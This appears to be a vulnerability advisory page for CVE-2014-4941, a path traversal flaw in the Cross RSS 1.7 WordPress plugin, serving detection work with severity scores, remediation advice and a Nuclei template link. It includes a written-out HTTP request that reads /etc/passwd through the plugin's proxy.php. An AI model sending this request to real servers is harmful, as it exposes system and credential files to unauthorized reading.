🔙 목록으로 돌아가기

CVE-2014-4941: Cross RSS 1.7 - Local File Inclusion

TitleCross RSS 1.7 - Local File Inclusion
AuthorDhiyaneshDK
SeverityMedium
ImpactAttackers can read arbitrary files on the server, potentially exposing sensitive information.
RemediationUpdate to the latest version of the plugin that addresses this vulnerability.
CVSS Score5
EPSS Score0.01851
CVE IDCVE-2014-4941
CWE IDCWE-22
Tags cve cve2014 wp-cross-rss wordpress wp-plugin lfi wp vuln

🔍 Vulnerability Description

Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-4941.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-4941.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A